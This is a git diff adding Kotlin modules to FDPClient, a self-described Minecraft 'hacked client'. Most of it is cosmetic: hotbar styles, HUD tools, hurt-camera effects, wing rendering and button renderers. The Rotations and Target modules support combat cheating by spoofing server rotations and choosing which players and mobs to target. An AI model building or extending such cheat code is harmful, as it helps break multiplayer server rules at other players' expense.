RenderHelper.disableStandardItemLighting() + } + hotbarValue.get() == "Glow" -> { + if(BlurValue.get() && BlurAmount.get() > 1F ) { BlurUtils.draw((i - 91).toFloat(), (sr.scaledHeight - 22).toFloat(), 182F, 22F, BlurAmount.get()) } + GuiIngame.drawRect(i - 91, sr.scaledHeight - 1, i + 91, sr.scaledHeight, Int.MAX_VALUE) + RenderUtils.drawGradientSidewaysV(itemX.toDouble(), (sr.scaledHeight - 20).toDouble(), (itemX + 22).toDouble(), sr.scaledHeight.toDouble(), Color(255, 255, 255, 190).rgb, Color(0, 0, 0, 0).rgb) + RenderHelper.enableGUIStandardItemLighting() + for (Index in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19, null as String?, Index) } + RenderHelper.disableStandardItemLighting() + } + hotbarValue.get() == "BlueIce" -> { + GuiIngame.drawRect(i - 91, sr.scaledHeight - 25, i + 91, sr.scaledHeight, Color(0, 0, 0, 230).rgb) + RenderUtils.drawGradientSidewaysV(itemX.toDouble(), (sr.scaledHeight - 24).toDouble(), (itemX + 22).toDouble(), sr.scaledHeight.toDouble(), Color(0, 170, 255, 220).rgb, Color(0, 0, 0, 0).rgb) + RenderHelper.enableGUIStandardItemLighting() + for (Index in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19, null as String?, Index) } + RenderHelper.disableStandardItemLighting() + } + hotbarValue.get() == "Exhi" -> { + RenderUtils.drawExhiRect((i - 91).toFloat(), (sr.scaledHeight - 22).toFloat(), (i + 91).toFloat(), sr.scaledHeight.toFloat(), 1f) + RenderUtils.drawRect(itemX.toFloat(), (sr.scaledHeight - 22).toFloat(), (itemX + 22).toFloat(), (sr.scaledHeight - 21).toFloat(), skyRainbow(1, 1f, 1f, 1.0)) + RenderUtils.drawRect(itemX.toFloat(), (sr.scaledHeight - 21).toFloat(), (itemX + 22).toFloat(), sr.scaledHeight.toFloat(), Color(35, 35, 35)) + RenderHelper.enableGUIStandardItemLighting() + for (Index in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19, null as String?, Index)} + RenderHelper.disableStandardItemLighting() + } + hotbarValue.get() == "Bread" -> { + RenderUtils.customRounded((i - 93).toFloat(), sr.scaledHeight.toFloat(), (i + 93).toFloat(), (sr.scaledHeight - 23).toFloat(), 5f, 5f, 0f, 0f, Int.MIN_VALUE) + RenderUtils.originalRoundedRect((itemX + 6).toFloat(), (sr.scaledHeight - 2).toFloat(), (itemX + 16).toFloat(), (sr.scaledHeight - 0).toFloat(), 1f, Color(38, 139, 240).rgb) + RenderHelper.enableGUIStandardItemLighting() + for (Index in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19, null as String?, Index) } + RenderHelper.disableStandardItemLighting() + } + hotbarValue.get() == "Rounded" -> { + RenderUtils.originalRoundedRect((i - 91).toFloat(), (sr.scaledHeight - 2).toFloat(), (i + 91).toFloat(), (sr.scaledHeight - 22).toFloat(), 3f, Int.MIN_VALUE) + RenderUtils.originalRoundedRect(i - 91 + posInv, (sr.scaledHeight - 2).toFloat(), i - 91 + posInv + 22, (sr.scaledHeight - 22).toFloat(), 3f, Int.MAX_VALUE) + RenderHelper.enableGUIStandardItemLighting() + for (j in 0..8) { HotbarItems(j, sr.scaledWidth / 2 - 90 + j * 20 + 2, sr.scaledHeight - 20); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + j * 20 + 2, sr.scaledHeight - 20, null as String?, j) } + RenderHelper.disableStandardItemLighting() + } + hotbarValue.get() == "Dock" -> { + RenderUtils.originalRoundedRect((i - 91).toFloat(), (sr.scaledHeight - 1).toFloat(), (i + 91).toFloat(), (sr.scaledHeight - 21).toFloat(), 3f, Int.MIN_VALUE) + RenderUtils.drawFilledCircle((itemX + 12).toDouble(), (sr.scaledHeight - 3).toDouble(), 1.4, Color(255, 255, 255).rgb, 255) + RenderHelper.enableGUIStandardItemLighting() + GlStateManager.pushMatrix() + for (item in 0..8) { + var height = sr.scaledHeight - 19 + when (item) { + entityplayer.inventory.currentItem -> { + height = sr.scaledHeight - 23 + } + entityplayer.inventory.currentItem + 1, entityplayer.inventory.currentItem - 1 -> { + height = sr.scaledHeight - 21 + } + entityplayer.inventory.currentItem + 2, entityplayer.inventory.currentItem - 2 -> { + height = sr.scaledHeight - 20 + } + } + HotbarItems(item, sr.scaledWidth / 2 - 90 + item * 20 + 2, height) + HotbarTextOverlay(sr.scaledWidth / 2 - 90 + item * 20 + 2, height, null as String?, item) + } + RenderHelper.disableStandardItemLighting() + GlStateManager.popMatrix() + } + hotbarValue.get() == "Glowing" -> { + // im bouta make your fps 0, thank me later! + RenderUtils.drawRect((i - 91).toFloat(), (sr.scaledHeight - 22).toFloat(), (i + 91).toFloat(), sr.scaledHeight.toFloat(), Color(0, 0, 0, hotbarAlphaValue.get())) + RenderUtils.drawRect(itemX.toFloat(), (sr.scaledHeight - 21).toFloat(), (itemX + 22).toFloat(), sr.scaledHeight.toFloat(), Color(0, 0, 0, hotbarAlphaValue.get())) + RenderHelper.enableGUIStandardItemLighting() + for (Index in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19) } + RenderHelper.disableStandardItemLighting() + RenderUtils.drawRect(itemX.toFloat(), (sr.scaledHeight - 22).toFloat(), (itemX + 22).toFloat(), (sr.scaledHeight - 21).toFloat(), rainbow()) + BlurUtils.draw((i - 91).toFloat(), (sr.scaledHeight - 22).toFloat(), 182F, 22F, 20F) + RenderUtils.drawRect(itemX.toFloat(), (sr.scaledHeight - 22).toFloat(), (itemX + 22).toFloat(), (sr.scaledHeight - 21).toFloat(), rainbow()) + RenderHelper.enableGUIStandardItemLighting() + for (Index in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19) } + RenderHelper.disableStandardItemLighting() + } + } + GlStateManager.disableRescaleNormal() + GlStateManager.disableBlend() + } + + fun HotbarItems(index: Int, xPos: Int, yPos: Int) { + val entityplayer = mc.renderViewEntity as EntityPlayer + val itemstack = entityplayer.inventory.mainInventory[index] + if (itemstack != null) { + val f = itemstack.animationsToGo - mc.timer.renderPartialTicks + if (f > 0.0f) { + GlStateManager.pushMatrix() + val f1 = 1.0f + f / 5.0f + GlStateManager.translate((xPos + 8).toFloat(), (yPos + 12).toFloat(), 0.0f) + GlStateManager.scale(1.0f / f1, (f1 + 1.0f) / 2.0f, 1.0f) + GlStateManager.translate(-(xPos + 8).toFloat(), -(yPos + 12).toFloat(), 0.0f) + } + // render item + mc.renderItem.renderItemAndEffectIntoGUI(itemstack, xPos, yPos) + if (f > 0.0f) { GlStateManager.popMatrix() } + // render overlay + //mc.renderItem.renderItemOverlays(Fonts.font35, itemstack, xPos, yPos) // old method + HotbarDurabilityOverlay(itemstack, xPos, yPos) + var fontVal = mc.fontRendererObj + when { + ItemFontValue.get() == "MiSans" -> { + fontVal = Fonts.font35 + } + ItemFontValue.get() == "Minecraft" -> { + fontVal = mc.fontRendererObj + } + } + HotbarTextOverlay(xPos, yPos, null as String?, index) + } + } + private fun HotbarDurabilityOverlay(stack: ItemStack?, xPosition: Int, yPosition: Int) { + if (stack != null) { + if (stack.item.showDurabilityBar(stack)) { + GlStateManager.disableTexture2D() + val tessellator = Tessellator.getInstance() + val worldrenderer = tessellator.worldRenderer + barDraw(worldrenderer, xPosition + 2, yPosition + 13, 13, 2, 0, 0, 0, 255) + barDraw(worldrenderer, xPosition + 2, yPosition + 13, 12, 1, (255 - Math.round(255.0 - stack.item.getDurabilityForDisplay(stack) * 255.0).toInt()) / 4, 64, 0, 255) + barDraw(worldrenderer, xPosition + 2, yPosition + 13, Math.round(13.0 - stack.item.getDurabilityForDisplay(stack) * 13.0).toInt(), 1, 255 - Math.round(255.0 - stack.item.getDurabilityForDisplay(stack) * 255.0).toInt(), Math.round(255.0 - stack.item.getDurabilityForDisplay(stack) * 255.0).toInt(), 0, 255) + GlStateManager.enableTexture2D() + } + } + } + private fun HotbarTextOverlay(xPosition: Int, yPosition: Int, text: String?, index: Int) { + val entityplayer = mc.renderViewEntity as EntityPlayer + val stack = entityplayer.inventory.mainInventory[index] + if (stack != null) { + if (stack.stackSize != 1 || text != null) { + var colour: Color? = null + var s = text ?: stack.stackSize.toString() + if(ItemCountValue.get()){ + if (text == null && stack.stackSize < 1) { s = stack.stackSize.toString() } + if (stack.stackSize >= 46) { colour = Color.green } else if (stack.stackSize <= 45 && stack.stackSize > 20) { colour = Color.orange } else if (stack.stackSize <= 20) { colour = Color.red } + } else { + if (text == null && stack.stackSize < 1) { s = EnumChatFormatting.RED.toString() + stack.stackSize.toString() } + colour = Color.white + } + var fontVal = mc.fontRendererObj + when { + ItemFontValue.get() == "MiSans" -> { + fontVal = Fonts.font35 + } + ItemFontValue.get() == "Minecraft" -> { + fontVal = mc.fontRendererObj + } + } + GlStateManager.disableLighting() + GlStateManager.disableDepth() + GlStateManager.disableBlend() + fontVal.drawStringWithShadow(s, (xPosition + 19 - 2 - fontVal.getStringWidth(s)).toFloat(), (yPosition + 6 + 3).toFloat(), colour!!.rgb) + GlStateManager.enableLighting() + GlStateManager.enableDepth() + } + } + } + + private fun barDraw(renderer: WorldRenderer, x: Int, y: Int, width: Int, height: Int, red: Int, green: Int, blue: Int, alpha: Int) { + renderer.begin(7, DefaultVertexFormats.POSITION_COLOR) + renderer.pos((x + 0).toDouble(), (y + 0).toDouble(), 0.0).color(red, green, blue, alpha).endVertex() + renderer.pos((x + 0).toDouble(), (y + height).toDouble(), 0.0).color(red, green, blue, alpha).endVertex() + renderer.pos((x + width).toDouble(), (y + height).toDouble(), 0.0).color(red, green, blue, alpha).endVertex() + renderer.pos((x + width).toDouble(), (y + 0).toDouble(), 0.0).color(red, green, blue, alpha).endVertex() + Tessellator.getInstance().draw() + } + // end of mojang code + + // rise + private var easeAnimation: Animation? = null + private var easingValue = 0 + get() { + if (easeAnimation != null) { + field = easeAnimation!!.value.toInt() + if (easeAnimation!!.state == Animation.EnumAnimationState.STOPPED) { + easeAnimation = null + } + } + return field + } + set(value) { + var hotbarSpeed = hotbarAnimSpeedValue.get() + if(hotbarValue.get() == "Dock"){ hotbarSpeed = 4} + if (easeAnimation == null || (easeAnimation != null && easeAnimation!!.to != value.toDouble())) { + easeAnimation = Animation( + EaseUtils.EnumEasingType.valueOf(hotbarAnimTypeValue.get()), + EaseUtils.EnumEasingOrder.valueOf(hotbarAnimOrderValue.get()), + field.toDouble(), + value.toDouble(), + hotbarSpeed * 30L + ).start() + } + } + fun getHotbarEasePos(x: Int): Int { + if (!hotbarEaseValue.get()) return x + easingValue = x + return easingValue + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HudDesigner.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HudDesigner.kt new file mode 100644 index 0000000..91d0cb0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HudDesigner.kt @@ -0,0 +1,18 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.client.hud.designer.GuiHudDesigner + +@ModuleInfo(name = "HudDesigner", category = ModuleCategory.CLIENT, canEnable = false) +object HudDesigner : Module() { + override fun onEnable() { + mc.displayGuiScreen(GuiHudDesigner()) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HurtCam.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HurtCam.kt new file mode 100644 index 0000000..5098b45 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HurtCam.kt @@ -0,0 +1,74 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.server.S19PacketEntityStatus +import java.awt.Color + +@ModuleInfo(name = "HurtCam", category = ModuleCategory.CLIENT, canEnable = false) +object HurtCam : Module() { + val modeValue = ListValue("Mode", arrayOf("Vanilla", "Cancel", "FPS"), "Vanilla") + private val colorRedValue = IntegerValue("R", 255, 0, 255).displayable { modeValue.equals("FPS") } + private val colorGreenValue = IntegerValue("G", 0, 0, 255).displayable { modeValue.equals("FPS") } + private val colorBlueValue = IntegerValue("B", 0, 0, 255).displayable { modeValue.equals("FPS") } + private val colorRainbow = BoolValue("Rainbow", false).displayable { modeValue.equals("FPS") } + private val timeValue = IntegerValue("FPSTime", 1000, 0, 1500).displayable { modeValue.equals("FPS") } + private val fpsHeightValue = IntegerValue("FPSHeight", 25, 10, 50).displayable { modeValue.equals("FPS") } + + private var hurt = 0L + + @EventTarget + fun onRender2d(event: Render2DEvent) { + if (hurt == 0L) return + + val passedTime = System.currentTimeMillis() - hurt + if (passedTime > timeValue.get()) { + hurt = 0L + return + } + + val color = getColor((((timeValue.get() - passedTime) / timeValue.get().toFloat()) * 255).toInt()) + val color1 = getColor(0) + val width = event.scaledResolution.scaledWidth_double + val height = event.scaledResolution.scaledHeight_double + + RenderUtils.drawGradientSidewaysV(0.0, 0.0, width, fpsHeightValue.get().toDouble(), color.rgb, color1.rgb) + RenderUtils.drawGradientSidewaysV(0.0, height - fpsHeightValue.get(), width, height, color1.rgb, color.rgb) + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + when (modeValue.get().lowercase()) { + "fps" -> { + if (packet is S19PacketEntityStatus) { + if (packet.opCode.toInt() == 2 && mc.thePlayer.equals(packet.getEntity(mc.theWorld))) { + hurt = System.currentTimeMillis() + } + } + } + } + } + + private fun getColor(alpha: Int): Color { + return if (colorRainbow.get()) ColorUtils.reAlpha(ColorUtils.rainbow(), alpha) else Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get(), alpha) + } + + // always handle event + override fun handleEvents() = true +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/KeyBindManager.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/KeyBindManager.kt new file mode 100644 index 0000000..31b552c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/KeyBindManager.kt @@ -0,0 +1,19 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import org.lwjgl.input.Keyboard + +@ModuleInfo(name = "KeyBindManager", category = ModuleCategory.CLIENT, keyBind = Keyboard.KEY_RMENU, canEnable = false) +object KeyBindManager : Module() { + override fun onEnable() { + mc.displayGuiScreen(FDPClient.keyBindManager) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/MusicPlayer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/MusicPlayer.kt new file mode 100644 index 0000000..d1a6df6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/MusicPlayer.kt @@ -0,0 +1,14 @@ +package net.ccbluex.liquidbounce.features.module.modules.client + +import cn.hanabi.gui.cloudmusic.ui.MusicPlayerUI +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.minecraft.client.gui.GuiScreen + +@ModuleInfo(name = "MusicPlayer", category = ModuleCategory.CLIENT, canEnable = false) +class MusicPlayer : Module() { + override fun onEnable() { + mc.displayGuiScreen(MusicPlayerUI()) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/NoAchievements.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/NoAchievements.kt new file mode 100644 index 0000000..0836258 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/NoAchievements.kt @@ -0,0 +1,20 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.TickEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo + +@ModuleInfo(name = "NoAchievements", category = ModuleCategory.CLIENT, array = false, defaultOn = true) +object NoAchievements : Module() { + @EventTarget + fun onTick(event: TickEvent) { + mc.guiAchievement.clearAchievements() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Performance.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Performance.kt new file mode 100644 index 0000000..fdecc3a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Performance.kt @@ -0,0 +1,23 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue + +@ModuleInfo(name = "Performance", category = ModuleCategory.CLIENT) +object Performance : Module() { + + @JvmField + var staticParticleColorValue = BoolValue("StaticParticleColor", false) + @JvmField + var fastEntityLightningValue = BoolValue("FastEntityLightning", false) + @JvmField + var fastBlockLightningValue = BoolValue("FastBlockLightning", false) +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Rotations.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Rotations.kt new file mode 100644 index 0000000..015cd63 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Rotations.kt @@ -0,0 +1,68 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.RotationUtils.Companion.serverRotation +import net.ccbluex.liquidbounce.utils.RotationUtils.Companion.targetRotation + +@ModuleInfo(name = "Rotations", category = ModuleCategory.CLIENT) +object Rotations : Module() { + + private val realistic = BoolValue("Realistic", false) + private val body = BoolValue("Body", true).displayable { !realistic.get() } + + val debugRotations = BoolValue("DebugRotations", false) + val experimentalCurve = BoolValue("ExperimentalLinearCurveRotation", false) + val startSecondRotationSlow = BoolValue("StartSecondRotationSlow", false) + val slowDownOnDirectionChange = BoolValue("SlowDownOnDirectionChange", false) + val useStraightLinePath = BoolValue("UseStraightLinePath", false) + + var prevHeadPitch = 0f + var headPitch = 0f + + @EventTarget + fun onMotion(event: MotionEvent) { + val thePlayer = mc.thePlayer ?: return + + prevHeadPitch = headPitch + headPitch = serverRotation!!.pitch + + if (!shouldRotate() || realistic.get()) { + return + } + + thePlayer.rotationYawHead = serverRotation!!.yaw + + if (body.get()) { + thePlayer.renderYawOffset = thePlayer.rotationYawHead + } + } + + fun lerp(tickDelta: Float, old: Float, new: Float): Float { + return old + (new - old) * tickDelta + } + + /** + * Rotate when current rotation is not null or special modules which do not make use of RotationUtils like Derp are enabled. + */ + fun shouldRotate() = state || targetRotation != null + + /** + * Imitate the game's head and body rotation logic + */ + fun shouldUseRealisticMode() = realistic.get() && shouldRotate() + + /** + * Which rotation should the module use? + */ + fun getRotation(useServerRotation: Boolean) = if (useServerRotation) serverRotation else targetRotation +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/SoundModule.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/SoundModule.kt new file mode 100644 index 0000000..29dda24 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/SoundModule.kt @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.audio.PositionedSoundRecord +import net.minecraft.util.ResourceLocation + +@ModuleInfo(name = "SoundModules", category = ModuleCategory.CLIENT, canEnable = false) +object SoundModule : Module() { + val toggleIgnoreScreenValue = BoolValue("ToggleIgnoreScreen", false) + private val toggleSoundValue = ListValue("ToggleSound", arrayOf("None", "Click", "Custom"), "Click") + + fun playSound(enable: Boolean) { + when (toggleSoundValue.get().lowercase()) { + "click" -> { + mc.soundHandler.playSound(PositionedSoundRecord.create(ResourceLocation("random.click"), 1F)) + } + + "custom" -> { + if (enable) { + FDPClient.tipSoundManager.enableSound.asyncPlay() + } else { + FDPClient.tipSoundManager.disableSound.asyncPlay() + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Target.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Target.kt new file mode 100644 index 0000000..51f6ff3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Target.kt @@ -0,0 +1,23 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue + +@ModuleInfo(name = "Target", category = ModuleCategory.CLIENT, canEnable = false) +object Target : Module() { + val playerValue = BoolValue("Player", true) + val animalValue = BoolValue("Animal", false) + val mobValue = BoolValue("Mob", true) + val invisibleValue = BoolValue("Invisible", false) + val deadValue = BoolValue("Dead", false) + + // always handle event + override fun handleEvents() = true +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/UIEffects.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/UIEffects.kt new file mode 100644 index 0000000..7b08012 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/UIEffects.kt @@ -0,0 +1,21 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue + +@ModuleInfo(name = "UIEffects", category = ModuleCategory.CLIENT, canEnable = false) +object UIEffects : Module() { + + val buttonShadowValue = BoolValue("ButtonShadow", true) + val UiShadowValue = ListValue("Mode", arrayOf("Shadow", "Glow", "None"), "Shadow") + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Wings.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Wings.kt new file mode 100644 index 0000000..9795443 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Wings.kt @@ -0,0 +1,36 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.RenderWings +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue + +@ModuleInfo(name = "Wings", category = ModuleCategory.CLIENT, array = false) +object Wings : Module() { + private val onlyThirdPerson = BoolValue("OnlyThirdPerson", true) + val ColourType = ListValue("Color Type", arrayOf("Custom", "Chroma", "None"), "Chroma") + val CR = IntegerValue("R", 255, 0, 255).displayable { ColourType.get() == "Custom" } + val CG = IntegerValue("G", 255, 0, 255).displayable { ColourType.get() == "Custom" } + val CB = IntegerValue("B", 255, 0, 255).displayable { ColourType.get() == "Custom" } + var wingStyle = ListValue("WingStyle", arrayOf("Dragon", "Simple"),"Dragon") + + + @EventTarget + fun onRenderPlayer(event: Render3DEvent) { + if (onlyThirdPerson.get() && mc.gameSettings.thirdPersonView == 0) return + val renderWings = RenderWings() + renderWings.renderWings(event.partialTicks) + } + +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/AbstractButtonRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/AbstractButtonRenderer.kt new file mode 100644 index 0000000..7b29c57 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/AbstractButtonRenderer.kt @@ -0,0 +1,25 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client.button + +import net.ccbluex.liquidbounce.font.FontLoaders +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import java.awt.Color + +abstract class AbstractButtonRenderer(protected val button: GuiButton) { + abstract fun render(mouseX: Int, mouseY: Int, mc: Minecraft) + + open fun drawButtonText(mc: Minecraft) { + FontLoaders.F18.DisplayFonts( + button.displayString, + button.xPosition + button.width / 2f - FontLoaders.F18.DisplayFontWidths(FontLoaders.F18,button.displayString) / 2f, + button.yPosition + button.height / 2f - FontLoaders.F18.height / 2f, + if (button.enabled) Color.WHITE.rgb else Color.GRAY.rgb, + FontLoaders.F18 + ) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/BadlionTwoButtonRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/BadlionTwoButtonRenderer.kt new file mode 100644 index 0000000..266eb86 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/BadlionTwoButtonRenderer.kt @@ -0,0 +1,19 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client.button + +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import net.minecraft.util.ResourceLocation + +class BadlionTwoButtonRenderer(button: GuiButton) : AbstractButtonRenderer(button) { + override fun render(mouseX: Int, mouseY: Int, mc: Minecraft) { + val hoveredimg = ResourceLocation("fdpclient/ui/buttons/bhover.png") + val elseimg = ResourceLocation("fdpclient/ui/buttons/bbutton.png") + if(button.hovered) { RenderUtils.drawImage(hoveredimg, button.xPosition, button.yPosition, button.width, button.height) } else { RenderUtils.drawImage(elseimg, 